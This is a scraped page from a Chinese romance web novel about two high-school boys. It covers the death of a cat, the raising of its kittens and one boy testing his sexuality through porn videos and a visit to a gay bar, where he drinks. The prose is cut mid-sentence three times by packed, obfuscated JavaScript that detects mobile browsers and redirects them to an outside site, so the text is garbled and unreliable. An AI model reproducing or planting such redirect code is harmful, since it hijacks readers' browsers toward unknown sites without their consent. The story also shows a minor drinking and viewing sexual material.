RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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每天傍晚时分,是三岔巷子里最热闹的时候,上班的人大概都是这个时间点下班回家,家家户户的炒菜味充斥着巷子。 许之一边侧身避让自行车,一边踮着脚往墙头望。 以往无数次这样的日落余辉下、这样的烟火气息中,许之都会看到小黑迈着悠然的脚步,从不知哪户人家里一跃而出,优雅地站在窄窄的墙头,隔着恰到好处的距离,对着他喵呜一叫。 但今天没有。 到底去哪了?许之心中的焦急渐重。 眼看整条巷子已经走到头,还是一无所获。 许之正想转去另一条巷子找,突然,一阵不同于路边摊人头耸动那般的喧闹从远处传来。 那声音更嘈杂、更此起彼伏,人声有高有低,还伴随着汽车的喇叭响起,许之很容易就锁定了来源,在巷口左侧的大道旁。 说不清是直觉还是什么,许之脑袋一片空白,只是快步走去。 他越走越急,算得上是粗暴的拨开围观人群,来到晚高峰川流不息的主干道上,看到一条仿佛被按下暂停键的车道。 对面反向车道上,无数车辆的远光灯迎面而来,晃得人眼睛疼,许之看到一对拐棍被随意丢放在地上,有个身影正半蹲在路中央。 “李斯年?”许之叫他。 李斯年听到声音,猛地侧过头来:“你别过来!” 他尾音带着强压着的颤抖,眼角有些发红。 一阵风吹来,许之余光瞟见,天边晚霞正灿烂如血。 这样的晚霞,从前也见过好几次。 只是好像每次见到,都不是好事发生。 许之脚步一顿,继而继续向前。 无论发生什么。 什么都允许发生。 但是不要总这样把我护在后面,明明可以一起面对的,不是吗? 李斯年见拦不住他,只得脱下夹克,往地上一盖。 在盖上前的最后一瞬,许之看到了地上的血泊,和倒在血泊之中的小黑。 26. 陪伴 什么是生?什么是死? 学校课本里没有教的东西,少年人最终还是会在生活中学到。 而这样的情况总是来得突然,没有预习、没有缓冲,李斯年恍惚回到郑秀出车祸的那天夜里。 一个小时前,她还坐在行驶于山路中的大巴上,给李斯年打的那通电话里,只字不提车厢陈年积累的混杂臭味、沿山公路的颠簸回转令人头晕目眩,只说快到木芙蓉花开的季节,等周末让江叔送兄妹俩回老家,一起去看。 一个小时后,人就被染成红色,冰凉的躺在白色的太平间。 生死的界限在那一瞬间变得非常模糊,李斯年甚至觉得他只要拍拍母亲的肩,叫几声妈妈,对方就会醒来。 再或者等到他终于痛哭流涕时,对方就会于心不忍,开口说:“你上当了。”,然后露出熟悉的笑容。 死去时的模样像是陷入沉睡,明明只是睁开眼就好了,这么简单的事情,却再也做不到了。 小黑最后被埋在了梁芷家的小院子里,李斯年亲手挖的土,梁芷站在旁边,无声的眼泪一直在落。 许之却在回到出租屋,看到小白向自己走来时,才忽然感觉到心脏猛地一阵抽痛。 小黑最终还是没有见到自己的孩子们,哪怕一眼。 李斯年一路无言,只是从外面捡了两块砖,将没有安装反锁卡扣的玻璃窗彻底卡死,许之知道他肯定在自责。 然而他说不出“这不是你的错,不要太难过了”这样的话,因为太过苍白无力,说了不难过,就能真的不难过吗? 许之头一回意识到自己实在太不会安慰人了,他为此而感到愧疚。 如果换做李斯年,他一定会说点什么、或做点什么,让气氛化解。 无力感爬上心头,许之默默从塑料袋里拿出仅剩的番茄,简单下了个面。 没有葱花、也没有鸡蛋,许之并不擅长烹饪,心神恍惚之间酱油和醋都差点弄混,最后出锅的一碗面看起来清汤寡水,色香味没一样占据的。 就连做顿饭试图安抚对方,他做的都没有李斯年一半好。 但李斯年没嫌弃,接过面就埋头吃,他其实此刻没什么胃口,但郑秀说过,无论发生什么,饭都要好好吃,因为路都要继续走。 小白回到窝里喂奶了,她仿佛知道什么、又仿佛一无所知,偶尔眼神会扫视着屋子,像是在寻找原本应该出现的身影。 几只小猫尽管才出生半天,却已经能看出一些个性差别,比如黑白相间的那一只小猫总是找错位置,盯着一撮毛狠狠吮吸,需要人工扶正。 白色那只边吃边挥动小爪,似乎很怕有人要来抢自己的。 剩下一只灰色的最安静乖巧,常常蜷缩在靠近小白上肢臂弯的地方,吃饱后原地转个身就能直接睡。 屋内是一片新生命降临的生机勃勃,与两个少年沉重的心情格格不入。 吃完饭后,许之主动去洗碗,水声哗啦啦的,李斯年也不说话。 许之收拾完之后,一回头,就看到他还坐在桌前,正看着猫窝的方向发呆,眼睛不知什么时候又红了起来,像个委屈巴巴的小狗。 这人实在是个色厉内荏的性格,在外面看起来天不怕地不怕、无论发生什么事都能顶得住,但回到家一关上门,软弱就像是开了阀,止不住地往外淌。 就像那次在母亲忌日哭着睡着一样。 许之看着他这副模样,心就变得很软很软。 他问:“我可以在这过夜吗?” 李斯年愣愣地抬起眼。 “小黑白总吃不到奶,得补夜奶,两个人还能轮班。”许之说。 吃不够母乳的小猫,平均两小时就要补一次奶,李斯年白天还要上学,一个人肯定熬不住。 还有,既然安慰的话和事情都做不来,他至少想要多陪陪他——在因小黑之死而笼罩在心头的阴霾消失之前。 李斯年点头“嗯”了声,就见许之转身出门:“你去哪?” “我去小超市买张折叠床。” “不用啊……”李斯年话说一半,停了下来。 其实他原本想说一米八的大床能睡得下两个人,转念又怕许之会觉得男男授受不亲,不愿意,于是又说:“我记得梁芷家有个折叠床,可以借来用,省的多花钱了。” 许之点头:“那你给她发个消息,我去拿一趟。” 说完,就出了门。 - 原先李斯年还有点苦恼,自己的脚没恢复完全,照顾小白和小猫会不太方便,许之这几天能留在这里,实在是帮了大忙。 许之想要包揽所有的起夜补奶,让李斯年只需要负责一点和七点的,但李斯年觉得不行,这样实际上每天的整觉还是他在睡,最后在他的坚持下,还是决定轮流来。 三岔巷子的深夜非常安静,转钟后,连路灯也为了省电而关闭。 围墙拦住了月光,熄了台灯后,整间屋子陷入黑暗,猫窝里小猫还在拱小白的肚子,传出窸窸窣窣的声音,颇有几分温馨的感觉。 许之睡觉很轻,连呼吸声也不大,但尽管如此,李斯年还是能察觉到屋子里有另一个人。 其实他向来习惯在难过的时候一个人呆着的,封闭的独处环境能让他觉得安全。 但或许是因为许之很安静,存在感不高,李斯年第一次觉得有人在身边也还挺好的,好像无形之中分担了一部分沉重的情绪。 让他白天经历这么些事情之后,晚上竟然没有做乱七八糟的梦,被闹钟叫起来补了夜奶后,也能很快入睡,直到天亮。 就这样,一周过去,期间二人谁也没再提小黑的事,李斯年的脚伤好得差不多了,抽了一天中午,去医院拆掉了控制器,轮椅也可以退租了。 时间在这种时候是仁慈又残忍的,它不管发生了什么,仍然往前走。 但正是因为这样,人似乎也才能继续往前走。 一周的起夜让李斯年和许之都有些疲惫,期末之前的几次小考安排的密集,最后是梁芷看不过这两人黑眼圈一个比一个深,和她妈妈提了这件事。 孙家娟就让把小白和小猫送过去,她每天反正在家,方便照顾。 孙家娟自从瘫痪后,就不方便再外出上班了,但养活母女二人的重担还在肩上,她性格也是要强,不愿意问前夫伸手要钱,于是便学着在家做手工艺品售卖,补贴家用。 有赖于互联网各个平台的发展,她在微博上积累了足够粉丝,如今无论是买家还是名声都算稳定了,很多人来江城旅游,都会特地找上门来,定制纪念品。 如果孙家娟愿意照料猫咪,是再好不过的,离得近,李斯年和许之每天还是能去探望。 为了不让她太过辛苦,每天给窝里换尿垫、铲猫砂、准备小白的猫饭等事情,还是两个人中午、傍晚轮流去做。 小猫们长得很快,转眼就满月了,睁开了湿漉漉的眼睛、毛发也不再紧贴在身上,变得蓬松,已经有猫咪的模样了。 与此对应的,便是它们不再满足于窝在妈妈身边,开始满地乱爬,试图攀登一切可以抓住的、垂直于地面的东西。 孙家娟于是从隔壁借来了人家不用的婴儿围栏,将猫窝外围一大圈都围了起来。 原本不大的客厅几乎全部成了小猫的游乐园,不过梁芷和孙家娟都挺乐在其中,都是爱猫的人。 伤感被时间冲淡了裹在外层醒目的汹涌波浪,沉淀成细密的水珠,所有人都渐渐接受和消化了小黑离开的事情。 只有偶尔许之热猫饭不小心擓成双份时、李斯年叫起猫的名字习惯性以小黑在前时,水珠才会悄无声息的滴落在心间,激起一圈圈无可言说的涟漪。 小猫满月后,就可以适当添加半流体食物然后过渡到猫粮了,随之而来的便是找领养的事。 孙家娟在一次午饭时提起后,桌上另外三人都沉默了,梁芷最先开口:“妈,就不能都咱们自己养吗?” 不仅是因为小黑的事情,让每个人对这窝小猫都有着更深的情感,而且这一个月以来,三小只也算是他们帮着小白奶大的,每天帮忙擦尿喂奶、换垫子。 黑白相间的那只小猫睁眼期间还发炎感染,是李斯年一天三次的擦脓、挤眼膏,最后才好的。 在他们心中,这窝小猫已经是家里的一份子了。 “三只小猫,外加小白,一共四只,现在还小,等以后长大了,家里养不下啊。”孙家娟也舍不得,但情况摆在这里,屋子的确太小了,猫连跑酷都撒不开腿,是挺憋屈。 一阵沉默之后,是李斯年先开了口。“可以问下熟悉的街坊邻居,筛选一下,找真心喜欢猫的那种人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401238|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他当然也想要拒绝找领养,但没道理让孙家娟替他承担拒绝的结果,恐怕许之没有发表任何意见,也是出于这个考虑。 他和许之再过大半年就要去上大学了,梁芷离开家也就两年后的事,到时候没人帮忙,总不能让孙家娟一个人养着一屋子猫,她在轮椅上,铲屎换粮都不方便。 只是虽然道理他都懂,但这种无法掌控、无力负责,最后只能放手的感觉,还是让他觉得难受。 从前住在家里时,就不会出现这样的问题,屋子大,别说五只猫、就是十只,李斯年也能毫无心理负担的带回家。 左右有赵婶能帮忙,如果忙不过来,大不了再请一个人。 但他能如此肆无忌惮的原因,昭然若揭。 不是因为他有什么本事,而是因为李宇。 李宇有钱,有钱就是可以为所欲为,能办到很多常人办不到的事,同样,也可以守护很多常人无法守护的东西。 他许多事情都是沾了李宇的光,李斯年从前不愿意承认,现在仍然如此,他有些烦躁的甩甩头,不愿再细想。 隔天孙家娟就在巷子里问了一圈,小奶猫可可爱爱,随手拍的照片都惹人怜,还真有几个街坊有兴趣,于是约定等小猫彻底断奶后再来家里看看,这基本上就是确定要领养了。 梁芷为此还悄悄哭了一场,但李斯年和许之都沉默着点了头。 好歹没出三岔巷子,这些人也都是如孙家娟一般,在巷子里住了十几二十年,彼此都熟,到时候想看一眼猫,也方便,这已经是最好的结果了。 - 一天落雨的黄昏,李斯年照例下了课就去梁芷家里,去之前还在路边买了一只烧鸡,这样孙家娟就能少做点晚饭,不那么累。 许之因为要值日,晚了十分钟,走到院子口时,里头已经开始张罗着端菜上桌了。 整个三岔巷子的烟火气都很足,淅淅沥沥的雨也浇灭不了半分。 许之站在门前,看着屋子里亮着暖色灯光,里面的人在聊天,就算听不清具体内容,也能轻易被这种融洽轻松所感染。 透过窗,他看到李斯年此时正坐在桌旁的凳子上,肩头趴着一只小奶猫。 在确定找领养之后,李斯年黏小猫比小猫黏他还多,他每天都要这样驮一会小猫,三小只轮个遍,雨露均沾。 李斯年手扶着小猫,和孙家娟、梁芷聊天之余,偶尔侧过头去逗猫,唇角眉梢都是淡淡的笑意。 许之也没急着进去,就这么看了会,李斯年的笑仿佛蜂蜜,瞧上一眼,就不留痕迹的从喉头滑到胃里,让人被甜蜜无声无息的浸透了,却又寻不到源头的痕迹。 还是梁芷出来丢垃圾袋的时候看到人的,她磕巴了一下,似乎是不太确定应该怎么称呼许之,最后还是决定像叫李斯年一般:“许之哥,怎么不进去?” 许之“嗯”了声,走了进去,推开门,暖意混杂着饭菜香味迎面而来,将他周身雨的寒意冲去大半。 “来了。”李斯年将肩头的小奶猫朝向许之,抓起小猫爪,像是打招呼似的冲许之招手。 许之走近,逗弄着小猫,这个月龄的小猫正调皮,嗷呜一口就把许之的手指咬了咬,不疼,他也不缩手,反而不自觉的笑了。 李斯年离得近,将他弯起弧度的眼角、根根分明的睫毛尽收眼底,其实以许之的模样,就算冷着脸,也叫人觉得是雪压枝头独立的花骨朵,一眼望去就挪不开目光。 但此刻这样如春风拂面、抖展花瓣的模样,却又是另一种赏心悦目。 李斯年想到这里,不留痕迹的移开了目光,“晚饭就等你了,快入座吧。” 吃完饭,李斯年帮忙洗了碗筷。 外面的雨越下越大,孙家娟张罗着给三个孩子套上一次性雨鞋套,男孩女孩的鞋码都有,看来是早先就考虑到李斯年的份,都备齐全了。 李斯年谢过,他接过鞋套时,目光扫到孙家娟眼角的饱含慈祥的鱼尾纹,忽然想到,如果郑秀还活着,大概也是这样吧。 美丽的容颜会随着时间变化,但爱意却不会。 李斯年今天的晚自习请了假,打算趁天彻底凉下来之前回趟家,把厚被褥拿到出租屋,三人在三岔巷子的路口分开。 梁芷向着江城二中的方向去,许之回班上晚自习,李斯年则上了江叔的车。 27. 颠覆 李斯年回到家,大概是八点多,这个点李倾诺也还没放学,家里安安静静,只有赵婶炖煮在灶上的夜宵在咕噜噜滚着泡。 “小少爷?怎么突然回了!” 赵婶见到李斯年很是惊喜,把人从上到下看了一遍,满脸的担心:“怎么瘦了这么多,是不是脚伤的原因,在外面住也吃不好吧?正好今晚宵夜炖的排骨汤,我给你盛一碗,吃晚饭了吗?要不要再炒个青菜?米饭也有。” 说着,就要去张罗。 “不用啦,我刚在孙姨家吃了来的。”李斯年说。 “那我给你洗点水果。”仿佛不给李斯年喂点什么,赵婶心里就过意不去似的。 李斯年每次去外婆家也是这样,任凭个头窜的多高、身上的肌肉多紧实,老人家见人进门第一句,都一定是:怎么瘦的像个猴似的? 长辈们总是担心孩子吃不好,这是很纯粹又传统的观念,她们都是从前苦日子过过来的,就算如今生活条件大大改善,“吃饱”的重要性也是深深刻在观念里,无法被磨灭。 “那我先去卧室拿被子。”李斯年说着,上楼梯。 “你要拿哪床?”赵婶问,“单层的吗?” “单层双层都拿吧,免得入冬后还要跑一趟。” “单层在你房间里,但双层在糯糯卧室顶上的大柜子里,得搭折叠梯。”赵婶说着,起身要去杂物间。 “没事,我自己搬就行。”杂物间就在楼梯背面,李斯年摆摆手,绕过去,单手提着就上了楼。 李斯年先去了自己的卧室,虽然一个月没住人了,但还是很干净,赵婶应该每天还是会打扫,他将单层被子提起,又进了李倾诺的房间。 李倾诺的卧室稍乱一些,她不喜欢别人动卧室里的东西,于是赵婶也就只是打扫一下地面卫生,别的都不碰。 卧室里是甜甜的花香,这个年纪的小女生臭美又讲究,李斯年瞟向她桌上那一排香水瓶,瓶子有高有低,都是牌子货。 他将折叠梯立起来,爬了上去,打开到顶的柜门,双层被褥挺厚,李斯年抱着大袋子不方便下梯,于是将袋子丢到了李倾诺床上。 下了梯子后,李斯年将袋子提起时,目光顺着扫到压在底下的书。 这书一半藏在枕头底下、一半露在外面,李斯年一眼就认了出来,这是之前李倾诺曾给自己看过封面的那本漫画——封面上的男角色和许之很像。 只是封面上那个角色嘴角勾笑、眼间含情,骨节分明的手指轻轻搭在唇边,似是无意、又显暗示,这样浪荡的表情,是不会出现在许之脸上的。 李斯年鬼使神差的伸手,抽出漫画书。 里头还是全彩的,讲的是英式贵族学校里的故事,似乎是双男主,还是个耽美,封面上的角色就是主角之一。 他就知道,李倾诺每天脑袋瓜里想些七七八八的,肯定就是这种书看多了。 李斯年又往后翻了几页,忽然看到什么,瞳孔一缩,捻着纸张的手也骤然顿住。 他脑袋里响起“非礼勿视”四个字,但目光却像扎了根似的挪不开。 其实他不是没看过这种内容,方行舟他们几个男孩拉了个小群,经常分享各种链接,一男一女的有,两个男的也有,别的……也有。 但这本漫画的不同之处在于,男主之一实在是太像许之了,李斯年看似在看书里的角色,眼前出现的却是许之的脸。 仿佛是许之在做漫画书里的那些举动、说那些话,做那些表情。 李斯年印象里,许之的笑意总是淡淡的,鲜少有漫画中这样快意纵情的时候,但或许这样的笑意也是适合他的。 因为他圆润的眼尾弯起时,弧度很好看,若再弯的狠些,或许艳丽的桃花花瓣就能顺着池边溢出,沾上眉梢、染到颊边,最后留下一圈散不去的红晕春色。 这已经算得上是意淫的范畴了,不知为什么,李斯年偏偏就是无法打断幻想中的画面。 他以为自己向来不是重欲的人,小群里的视频有时会点开,但大多觉得没什么趣味,很快就叉掉,就算偶尔自我纾解,也是简简单单,完事即可。 但此刻,他却感到体内似乎有一团略显陌生的火在烧,烧得他口干舌燥,只觉得血液直往脑袋里冲,随即是难以言状的微弱眩晕。 直到几页翻过,漫画内容再次回到了校园日常,他才终于手一抖,丢烫手山芋似的把书塞回了枕头下。 李斯年僵着脖子,低头看了一眼,脑子宕机了不知多久,直到终于明确发生了什么。 荒唐又不知所措的心情涌了出来,像是怒海狂涛,将他整个人卷到半空中,又重重拍到海面。 不是…… 开什么玩笑? 他为什么会对这个起反应啊?! “小少爷,双层被子找到了吗?”赵婶的声音传来,似乎正往楼梯上走。 “找、找到了!”李斯年开口,声音有些沙哑,他做贼心虚的清了清嗓子,“我这就下去。” 李斯年一手提着一床被子下了楼,洗好的水果也没心情吃了,赵婶以为他要赶着去学校,也没起疑,拿保鲜盒给装好了,送到了车上。 车行驶在宽阔的主干道上,他坐在后座,心情和外面晃晃闪闪的鲜艳霓虹一样纷乱。 这是不是就是撒谎的报应?他告诉别人自己是同性恋,然后一语成谶。 李斯年努力回忆着从小到大喜欢过什么女孩子,希望能以此进行有力否定。 但他发现,撇去那些不着调的流言蜚语,其实自己还真没有正儿八经的谈过恋爱。 被女生追的次数倒不少,也有过他没立刻拒绝而导致的暧昧期,但其实,从来没有能真正入得了他眼的人,更别提心动的感觉之类。 况且,李斯年觉得谈恋爱没什么好的,两个人整天腻在一起叽叽歪歪挺无聊,吵了架他还要哄,麻烦事一大堆,不如躺在床上玩游戏。 可是就算没喜欢过女孩,他从前也没对什么男生动过心啊。 “小少爷,到了。”车停下,江叔的声音打断了李斯年的思绪。 “啊,好。” 江叔也下了车,从后备箱取出两个大袋子,锁了车,准备帮忙送到住处。 “不用不用,我自己来就行。”李斯年不由分说,接过袋子,转身就走。 江叔看着他的身影,重重的叹了一口气,他也算是眼瞅着李斯年长大的,多么活泼阳光的一个孩子,如今也要竖起稚嫩的防御、独自面临生活的艰难了。 其实他完全想不通,李老板为什么要这样和自己的儿子怄气,从前这一家四口是很和睦的,自从夫人走后……想到这里,他又叹了口气,叹这世事无常。 留下一个略显孤独背影的李斯年并不知道自己引起了江叔怎样误会的联想。 他其实只是想要一个人待着,因为心中有一丝微弱的、难以言说的羞耻感,像是没穿衣服在路上走,他害怕江叔和自己多闲聊几句,会看出什么端倪来。 巷子里没什么人,深秋带着凉意的风吹来,该是很惬意的感觉,但李斯年无心消受。 他快步走到门前,掏出钥匙,刚要插入锁头内,忽然听到不远处有人叫他。 很熟悉的声音,但在此刻却非常不合时宜,像是惊雷、又像闪电,将李斯年劈得外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401239|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焦里嫩,他手一顿,钥匙“哐当”摔在地上。 “怎么了?”许之问,见他僵在原地不动,走过来,蹲下捡起了钥匙。 窄巷内风又再起,夹带着体温的柑橘味道钻进李斯年的鼻腔,他感觉到体内的热血又开始涌动。 “大晚上的,突然来这么一嗓子,多吓人。”李斯年赶紧开口,希望能转移自己的注意力,他语气轻松,努力装作与平常无二,“你怎么来了?” “晚自习李老师来发了几张卷子,说明早就要交。”李老师是语文老师,常常喜欢晚自习临时加作业。 说着,许之从书包里拿出东西来。 “噢,谢了。”李斯年埋头接过,他不想在这时候与许之对上目光,为了让自己看起来像是有点事做,于是继续钥匙插进锁孔里开门。 许之沉默片刻,终于还是试探着问:“你……今天回家顺利吗?” 这人真是敏锐的可怕,李斯年心想,不过他再怎么聪明,也不会猜到到底发生了什么事的,估计以为李斯年回趟家撞上了李宇,俩人又闹了不愉快。 “嗯,就赵婶在家。”李斯年打开门,自然的问,“要进来坐坐吗?” 许之摇头:“挺晚了,没什么事我就先回了。” 李斯年暗暗松了口气:“路上注意安全啊。” “好。”许之说完,转身走了。 李斯年看着他走远,关上门,又去卫生间冲了个凉水澡,这终于才把燥热压了下去。 他擦着湿发坐到床边,听到手机在床头嗡嗡震动,拿起来一看,是方行舟他们又在小群发“深夜福利”,李斯年看着消息栏右侧红色的99+,手指微微一顿,久违的点了进去。 逆水不行舟:今天来点新口味[坏笑] 逆水不行舟:韩国骨科.zip 李斯年思考几秒,打出五个字。 SN:什么是骨科? 逆水不行舟:哟!难得在这个群看到你啊! 逆水不行舟:这你都不知道?就是有血缘关系的人。 李斯年开始考虑自己是不是要退出这个群,怎么感觉有点危险。 SN:[老人地铁看手机]……发这种东西真的不会进去吗? 逆水不行舟:嗐,这种都是噱头而已,主打一个“只要你信”~ 李斯年点开压缩包,里面似乎东西还挺多,解压的进度条走的慢悠悠,他等的手心都有点冒汗,像是等待着某种审判。 文件夹终于解压出来,李斯年从略缩图看出视频的确是两个男生,老屋子隔音不好,李斯年做贼似的把手机声音调到最小,点开视频,专注的观看起来。 平时暑假上网课都没这么认真劲儿的。 一部看完,中间还因为重复性画面调了会儿两倍速,李斯年内心毫无起伏,还是和从前一样,觉得挺无趣。 他思索片刻,觉得还是得秉承着严谨的态度,决定继续控制变量进行测试,于是又看了压缩包里其他面孔、场景、设定的视频。 但别说兴奋激动了,甚至有点犯困。 李斯年这下是更摸不着头脑了,所以自己到底喜不喜欢男生?为什么看李糯糯的漫画书和看这些东西的感觉完全不一样? 难道是因为载体不同,毕竟真人、动画和漫画还是有些观感上的区别的。 想到这里,李斯年又跑去看了一些漫画,然后还找了异性内容。 然而结果仍然是:完全没有感觉。 救命啊,这到底是怎么回事? 李斯年在心中呐喊着,无法开解的自我质疑达到了巅峰,他瘫倒在床,预感自己今晚又要失眠了。 28. 测试 李斯年脚伤好了之后,许之也就不用帮他带饭、早晚护送上学了,他又变成了那个很少说话、埋头做题的许之。 二人也就每天去帮孙家娟照料小猫时,会说上几句话,基本上都是关于猫咪的。 一切看似都很正常,只有李斯年内心知道,有什么东西变了。 像是有扇门被推开,透过这扇门去看,相同的景象也会出现不同的色彩。 他甚至不需要故意,就能轻易在一群人的对话里捕捉到许之的声音,他明明话很少,只是一两个字的随声附和。 他从前看许之,都是正大光明,就算觉得他好看,也只当做是在欣赏枝头一朵盛开花,也不觉得有哪里不合适。 但现在只有多看几眼,就会莫名心虚,许之没发现、身边的人也没察觉,只有李斯年垂下目光时能听到自己心跳快了几拍。 这种小女生情窦初开的感觉也太奇怪了! 李斯年很少陷入这样被动的情况,他不能允许搞不懂的事情存在,于是又开始琢磨用别的法子验证自己的性取向。 连方行舟都看出李斯年有心事,体育课最后十分钟的自由活动时间,二人去食堂小卖部买雪糕,他问:“你这周是怎么回事,愁眉苦脸的?” 李斯年撕开雪糕包装袋,咬了一口,答非所问:“上次你们说的那个清吧叫什么来着?” 方行舟愣住:“哪次?” “就篮球赛决赛比完之后,你们在群里聊的。” 方行舟恍然:“噢,Melody,那家还挺不错的,氛围好、也不吵闹,就是我们几个纯属看热闹,在里面挺格格不入的,所以饮料喝完就走了。” “地址发我下。”李斯年说。 方行舟若有所思的坏笑:“之前不是还挺没兴趣的,又想去了?” 李斯年咧嘴一笑:“你管我。” “行行行,我不管。”方行舟拿出手机,把地址转发过去。 “不过我提醒你一句,就你这样的,在里头完全称得上是优质客人,可得小心点,别被狗皮膏药粘上,之前一起去的隔壁班李子——就挺白净、但个子不高的那个——都被人追着要微信、追出二里地呢。” 李斯年听着笑,点开地址:“好,我会注意的。” - 三天后,周六晚上八点,李斯年独自一人来到一个不算深的巷子里,抬头看向面前闪烁着蓝绿霓虹的招牌:melody。 这个点,里头的人不多,更多是陆陆续续往里走的,清一色的男性。 天气渐凉了,李斯年今天是一身白色短袖外罩着件细蓝条纹衬衣,顶着头黑发,在一群黄色褐色五颜六色发色的人中,看起来格外干干净净。 他个头又高,无需刻意就散发出的蓬勃少年气质非常惹人注目。 就光是站在门口这不到一分钟的时间里,就已经收获了至少一二十道充满兴趣的目光。 “嘿,一个人来玩吗?”一个穿着牛仔外套的男人走过来。停在李斯年身旁不远处,距离拿捏的很有分寸,不会太远、也不至于近到让李斯年觉得唐突冒犯。 李斯年看了他一眼,年纪也不大,估计还在上大学,模样长得还不错,但是属于那种自己知道自己很帅的类型,反而因此多出些不必要的油腻来。 他看向李斯年的目光直接而不闪躲,似乎笃定对方会接受自己的搭讪。 “是啊。”李斯年回答。 男人眼中笑意更深:“第一次来?” “嗯,听朋友说这里挺有名。”是江城很有名的gay吧。 “那就别干站门口了。”男人虚虚的抬手,并没有碰到李斯年,示意他与自己一起进去,“今天的驻唱是alen,你也算赶巧,他每周只轮一天班,好多人专门挑着日子来听呢。” 李斯年跟着他进入酒吧,里面比较昏暗,灯光是舒适而暧昧的暖色,没有花里胡哨的射灯。 酒吧不大,一侧吧台、另一边有十余张小桌,中央是凸起的舞台,一个寸头男生正拿着吉他弹唱,是舒缓的情歌。 二人坐到吧台上,男人很绅士风度的问:“你没来过,第一杯我来点?” 他说话时微微侧过头,灯光下,李斯年看到他右耳的耳钉在某些角度反射出闪闪的光,衬得他五官轮廓更硬挺了。 但不知怎么,给人一种他就是故意为了让人看到,而选择靠左位置而坐的感觉。 李斯年不漏痕迹的耸耸肩:“好啊。” 男人抬手,轻车熟路的点单:“waiter,莫吉托、曼哈顿,谢谢。” 说完,转头向李斯年,伸出手,自我介绍道:“吴琛,还没问你的名字。” “李斯年。”他伸出手和对方轻轻握了一下,他的手温度适中,李斯年并没有什么特别的感觉。 李斯年目光飘向清吧里的其他人,似乎都是成双成对的,或靠着肩、或依偎着,无一例外全是亲密模样。 他今天到这里的目的,就是想着,既然看得见摸不着的画面影像测试不起作用,那不如在现实里亲身体验一下。 如果他真的喜欢男人,那在性取向相同人群的聚集地,不说遇到什么一见钟情的人、至少也能碰到稍感兴趣的类型吧。 服务员很快就把酒拿了上来,吴琛属于俊朗、而这个服务员则是偏柔美的长相。 李斯年对吴琛无感,于是认真看了几眼服务员,但心里仍然还是没什么感觉。 李斯年心中暗暗叹气,自己到底是喜欢什么类型的啊? 他一边想着,伸手拿了靠近自己的、盛着落日色液体的酒杯,也分不清是莫吉托还是曼哈顿。 吴琛目光在他拿酒的手上一扫而过,顺势端起另一杯,隔空做了个碰杯的动作,饮下一口,半开玩笑道:“我看你年纪不大,别还是学生吧?” “你不也是学生?”李斯年知道对方口中的“学生”指的是高中生而非大学生,于是就这样含糊过去。 说完,也端起酒杯尝了一口,味道挺奇特的,有点苦、还有点甜,咽下之后,唇齿内反而回荡起一丝橘子的香气。 这让李斯年忽然想到那天露营夜里,帐篷外模糊不清的嬉笑与篝火声。 许之背对他坐着,能透过衣服隐约看到纤瘦单薄的肩胛骨,单手拿着毛巾,轻轻擦湿头发。 “诶,你是在发呆吗?”吴琛的手在李斯年眼前晃了两下,他笑的有点无奈,“我就这么没有魅力吗?” “不好意思,想起些事情。”李斯年收回思绪。 过了九点后之后,这里的歌曲调子就变了,从舒缓改为了律动,四周角落原本熄灭的球灯也亮了起来,开始有人站起身,随着音乐摇摆着身体。 李斯年被那球灯晃了一下眼,感觉有些头晕目眩。 他收回目光,见面前的吴琛端起酒杯问:“我刚是说,方不方便问你在哪里上大学?” 李斯年和他碰了杯,礼貌地笑了笑:“不太方便。” “好吧。”这个回答也很正常,多的是人把这里当露水情缘,不会说真话,吴琛继续换话题:“你也打篮球吧?” 李斯年有点惊讶,点头:“怎么看出来的。” 吴琛努努嘴,示意李斯年拿着酒杯的手:“我在大学是篮球队的,你这是打球磨起的茧子,我熟。” 这还真是巧了,李斯年手上的茧子是为了双城篮球场突击训练而磨出来的,其实之前没有。 二人话题转到篮球上,有一搭没一搭的聊着,全都是吴琛在找话题,李斯年也看出来对方想要交朋友的态度很积极。 可惜,他实在没有兴趣。 一杯酒喝完,李斯年起身:“我要先回了。” “诶,这夜生活才刚开始呢,急什么?”吴琛眉头一皱,似乎没想到李斯年这样油盐不进。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401240|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他才不相信李斯年没点别的什么心思,哪有直男会大晚上一个人跑来melody呢? 见李斯年站起身,旁边有几个观望已久的男人也走上前来,朝他晃了晃手机,带着微醺的笑意。 “帅哥,加个微呗?” “看你们聊这么久,原来不是认识啊?” “这么早就走?等下十点场更精彩呢!” 